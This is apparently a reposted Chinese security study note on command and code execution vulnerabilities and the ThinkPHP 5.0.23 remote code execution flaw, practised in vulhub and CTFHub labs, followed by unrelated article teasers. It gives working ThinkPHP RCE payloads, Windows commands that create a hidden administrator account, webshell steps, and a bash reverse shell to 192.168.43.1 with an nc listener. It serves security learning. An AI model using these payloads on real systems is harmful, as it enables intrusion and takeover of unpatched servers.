框架漏洞RCE-1

一、前提

1、命令执行漏洞:直接调用操作系统命令。攻击者构造恶意命令,将命令拼接到正常的输入中,达到恶意攻击的目的。

(1)、常见命令执行函数

  • PHP:exec、shell_exec、system、passthru、popen、proc_open、反引号等    
  • ASP.NET:System.Diagnostics.Start.Process、System.Diagnostics.Start.ProcessStartInfo等
  • Java:java.lang.runtime.Runtime.getRuntime、java.lang.runtime.Runtime.exec等

注:popen()、proc_open()不会直接返回执行结果,而是返回一个文件指针。 <?php popen('whoami>>D:/1.txt','r');?>

(2)、利用条件:

  • 应用调用执行系统命令的函数
  • 将用户输入作为系统命令的参数拼接到了命令行中
  • 没有对用户输入进行过滤或过滤不严

(3)、命令连接符

(4)、windows,linux操作系统命令

windows:cmd窗口帮助命令help

linux:Linux命令大全(手册) – 真正好用的Linux命令在线查询网站 (linuxcool.com)

(5)、靶场练习:CTFHub

ctfhub命令执行WP:https://www.cnblogs.com/R3col/p/12515059.html

(6)补:创建用户并提权

  • 将编码方式改为UTF-8:CHCP 65001
  • 创建用户:net user hack 123456 /add
  • 查看用户:net user
  • 将用户添加到管理员组:net localgroup Administrators hack /add
  • 激活用户:net user hack /active:yes
  • 远程登录:windows系统命令行输入mstsc,linux系统命令行输入rdesktop ip地址

2、代码执行

(1)、相关函数

  • PHP:eval、${}等
  • python:exec等
  • Java:没有直接执行函数,但有表达式引擎。

(2)、与命令执行区别

  • 命令执行:一般执行操作系统命令
  • 代码执行:一般执行脚本代码

3、docker:用于靶场搭建与使用

(1)、概述:快速构建、运行、管理应用的工具

(2)、安装(kali)

apt-get install docker.io   //安装软件包
docker version              //查看是否安装成功apt-get install docker-compose  //安装docker-compose工具
docker-compose version          //查看是否安装成功

(3)、docker常用命令(拿mysql举例)

  • 查看本地所有镜像docker images -a 
    • -a:列出所有镜像
  • 搜索仓库镜像docker search mysql --limit 5
    • --limit 5:列出前5个
  • 拉取镜像到本地:docker pull mysql:5.5
    • 不加版本号,默认拉取最新的
  • 删除镜像:docker rmi mysql:5.5 或 docker rmi -f 镜像id
  • 打包镜像:docker save -o mysql.tar mysql:5.5 或 docker save -o mysql.tar 镜像id
    • 压缩文件可以随意命名
  • 加载打包镜像:docker load -i mysql.tar
  • 创建并运行容器docker run -d --name mysql8 -p 3306:3306 mysql
    • -d:后台运行容器
    • --name:指定容器的名称,不指定随机分配
    • -p:指定映射端口
  • 列出运行的容器docker ps -a
    • -a:列出正在运行和运行过的容器,不加只列出当前正在运行的容器
  • 容器的停止,启动,重启,删除docker stop/start/restart/rm 容器id

(4)、docker-compose: 使用 YAML 文件来配置所有需要运行的 Docker 容器

注:需要在docker-compose.yml 文件同目录下执行,即这个目录下必须有docker-compose.yml文件。或在命令后加上-f参数指定目录所在路径 

  • 创建容器docker-compose up -d
    • -d:后台运行
  • 容器的停止,启动,重启,删除docker-compose stop/start/restart/down
  • 查看容器docker-compose ps -a
    • -a:查看所有容器

4、漏洞通用操作:信息收集确定是哪个框架漏洞,网上搜索该漏洞的历史版本,进行复现。

二、ThinkPHP5.0.23漏洞

1、漏洞产生原因:thinkphp没有对控制器名进行合法性校验,导致在没有开启强制路由的情况下,攻击者可以调用任意类的任意方法,从而导致漏洞产生。

2、特征:显示thinkphp图标或页面显示thinkphp这几个大字

3、工具:Liqun工具箱、thinkphp日志分析等。(尝试多个工具,没有换下一个)

注:可以下载综合利用工具ONE-FOX(https://www.one-fox.cn/)

4、手工测试实验过程:

注:使用工具:hackbar插件

  • 利用RCE,通过phpinfo函数查看phpinfo()信息
  • 写入shell,使用蚁剑连接
  • 尝试反弹shell

5、POC

(1)请求路径:index.php?s=captcha

post data下输入

  • _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
  • _method=__construct&filter[]=system&method=get&get[]=pwd

(2)、直接在请求路径下输入

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

6、漏洞利用

(1)、启动靶场

(2)、输入POC

(3)、点击execute,并查看是否成功

(4)、使用蚁剑连接

7、反弹shell(需要URL编码):反弹shell生成器

/bin/bash -c "bash -i >& /dev/tcp/192.168.43.1/9191 0>&1"

(1)、将反弹shell代码写入POC中,发送

(2)、反弹shell到的机子开启监听:nc -lvp 9191

8、靶场

安装:git clone https://github.com/vulhub/vulhub.git /home/vulhub

使用:到目录下使用docker-compose

个人认知有限,大家可以提建议或者推荐更好的文章。互相分享,提高自身水平!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/322882.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux(openEuler、CentOS8)企业内网DHCP服务器搭建(固定Mac获取指定IP)

----本实验环境为openEuler系统<以server方式安装>&#xff08;CentOS8基本一致&#xff0c;可参考本文&#xff09;---- 目录 一、知识点二、实验&#xff08;一&#xff09;为服务器配置网卡和IP&#xff08;二&#xff09;为服务器安装DHCP服务软件&#xff08;三&a…

leetcode-岛屿数量-99

题目要求 思路 1.使用广度优先遍历&#xff0c;将数组中所有为1的元素遍历一遍&#xff0c;遍历过程中使用递归&#xff0c;讲该元素的上下左右四个方向的元素值也置为0 2.统计一共执行过多少次&#xff0c;次数就是岛屿数量 代码实现 class Solution { public:int solve(vec…

ROS 2边学边练(45)-- 构建一个能动的机器人模型

前言 在上篇中我们搭建了一个机器人模型(其由各个关节&#xff08;joint&#xff09;和连杆&#xff08;link&#xff09;组成)&#xff0c;此篇我们会通过设置关节类型来实现机器人的活动。 在ROS中&#xff0c;关节一般有无限旋转&#xff08;continuous&#xff09;,有限旋转…

【工具推荐定制开发】一款轻量的批量web请求命令行工具支持全平台:hey,基本安装、配置、使用

背景 在开发 Web 应用的过程中&#xff0c;作为开发人员&#xff0c;为了确认接口的性能能够达到要求&#xff0c;我们往往需要一个接口压测工具&#xff0c;帮助我们快速地对我们所提供的 Web 服务发起批量请求。在接口联调的过程中&#xff0c;我们通常会用 Postman 等图形化…

python 中如何匹配字符串

python 中如何匹配字符串&#xff1f; 1. re.match 尝试从字符串的起始位置匹配一个模式&#xff0c;如果不是起始位置匹配成功的话&#xff0c;match()就返回none。 import re line"this hdr-biz 123 model server 456" patternr"123" matchObj re.matc…

unity制作app(2)--主界面

1.先跳转过来&#xff0c;做一个空壳&#xff01;新增场景main为4号场景&#xff01; 2.登录成功跳转到四号场景&#xff01; 2.在main场景中新建canvas&#xff0c;不同的状态计划用不同的panel来设计&#xff01; 增加canvas和底图image 3.突然输不出来中文了&#xff0c;浪…

新手做抖音小店,卖什么最容易出单?抖音必爆类目来了!

哈喽&#xff01;我是电商月月 新手做抖音小店没有经验&#xff0c;也不了解市场需求&#xff0c;最好奇的就是&#xff1a;卖什么商品最容易出单&#xff0c;还在犹豫的朋友可以看看这五种类目&#xff0c;在2024年下半年必定火爆一次 一&#xff0e;生活电器类 天气炎热&a…

Objective-C的对象复制与拷贝选项

对象复制与拷贝 文章目录 对象复制与拷贝copy与mutablecopycopy与mutablecopy的简介示例&#xff1a;不可变对象的复制可变对象的复制 NSCopying和NSMutableCopying协议深复刻和浅复刻浅拷贝&#xff08;Shallow Copy&#xff09;&#xff1a;深拷贝&#xff08;Deep Copy&…

「Java开发指南」如何用MyEclipse搭建GWT 2.1和Spring?(一)

本教程将指导您如何生成一个可运行的Google Web Toolkit (GWT) 2.1和Spring应用程序&#xff0c;该应用程序为域模型实现了CRUD应用程序模式。在本教程中&#xff0c;您将学习如何&#xff1a; 安装Google Eclipse插件为GWT配置一个项目搭建从数据库表到一个现有的项目GWT编译…

动态规划——路径问题:931.下降路径最小和

文章目录 题目描述算法原理1.状态表示&#xff08;经验题目&#xff09;2.状态转移方程3.初始化4.填表顺序5.返回值 代码实现CJava 题目描述 题目链接&#xff1a;931.下降路径最小和 关于这⼀类题&#xff0c;看过我之前的博客的朋友对于状态表示以及状态转移是⽐较容易分析…

libcity 笔记:libcity/data/utils.py

1 get_dataset 2 list_dataset.py/ListDataset from torch.utils.data import Datasetclass ListDataset(Dataset):def __init__(self, data):"""data: 必须是一个 list"""self.data datadef __getitem__(self, index):return self.data[index…

照片格式怎么转换jpg?利用在线图片处理工具完成操作

图片有许多不同的格式类型&#xff0c;其中我们最常见的是jpg和png等。通常在平台上上传图片时&#xff0c;大多数要求使用jpg格式较多&#xff0c;但你知道吗&#xff1f;不同的设备和软件可能有不同的默认保存格式。如果你发现你的照片不是jpg格式&#xff0c;该如何转换呢&a…

为何预测预测蛋白质结构这么重要AlphaFold 3;阿里巴巴的开源语音转文字;抱抱脸开源LeRobot

✨ 1: AlphaFold 3 谷歌DeepMind和同构实验室推出AlphaFold 3 AI模型&#xff0c;旨在精确预测生命分子的结构和相互作用。 AlphaFold 3 是由谷歌DeepMind和Isomorphic Labs开发的一款新型AI模型&#xff0c;它可以以前所未有的精确度预测蛋白质、DNA、RNA、配体&#xff08;…

Java12基础(Package包 作用域 String字符串)

目录 一. Package包 import关键字 命名规范 二. 作用域 三. String字符串(进阶) 创建方式: 内存情况: 1. 字符串的搜索 2. trim()方法 3. 替换字符串 4. 分割字符串 5. 拼接字符串 6. 格式化字符串 7. 类型转换 8. 转换为char[ ]字符数组 9. 字符编码 10. Str…

【C++】C/C++中新const用法:const成员

欢迎来到CILMY23的博客 本篇主题为&#xff1a; C/C中新const用法&#xff1a;const成员 个人主页&#xff1a;CILMY23-CSDN博客 系列专栏&#xff1a;Python | C | C语言 | 数据结构与算法 | 贪心算法 | Linux 感谢观看&#xff0c;支持的可以给个一键三连&#xff0c;点赞…

医院预约挂号|基于Springboot+vue的医院预约挂号系统小程序的设计与实现(源码+数据库+文档)

医院预约挂号系统小程序 目录 基于Springboot&#xff0b;vue的医院预约挂号系统小程序设计与实现 一、前言 二、系统设计 三、系统功能设计 1小程序端 后台功能模块 4.2.1管理员功能 4.2.2医生功能 四、数据库设计 五、核心代码 六、论文参考 七、最新计算机毕设选…

linux查看ip和端口

1. ip addr ip addr 或者 ip addr show 输出包含了网络接口的名称、状态、MTU&#xff08;Maximum Transmission Unit&#xff09;、链路层地址&#xff08;如MAC地址&#xff09;、IPv4和IPv6地址等信息。 2. 只需要 ip地址 ipV4 ip addr | grep inet ipV6 3.查看端口 s…

重磅更新:Facefusion换脸软件intel显卡专用版本整合包更新了

重磅更新&#xff01;Facefusion换脸软件intel显卡专用版本&#xff0c;I卡用户也可以体验视频换脸了&#xff0c;独家针对Intel显卡优化&#xff0c;intel显卡视频换脸速度也很快&#xff0c;比cpu运行速度快十倍左右 目前测试Facefusion换脸工具intel显卡专用版本在A310、A3…

ardupilot开发 --- mavlink签名加密 篇

0. 一些概念 参考&#xff1a;MAVLink2 Signingmavlink2支持签名功能。 ArduPilot和Mission Planner能够通过使用加密密钥添加数据包签名&#xff0c;为空中MAVLink传输增加安全性。这并不加密数据&#xff0c;只是控制自动驾驶仪是否会响应MAVLink命令。这可防止其他不知道密…

Mysql8.0.30一次表锁问题的解决

起因 给material_config_field_data表的字段建立全文索引的时&#xff0c;发现该表卡死&#xff0c;然后无法对该表进行任何操作。 查找问题 执行sql #这个命令会显示InnoDB存储引擎的详细状态信息&#xff0c;包括锁等待和锁争用的信息 SHOW ENGINE INNODB STATUS结果 复制S…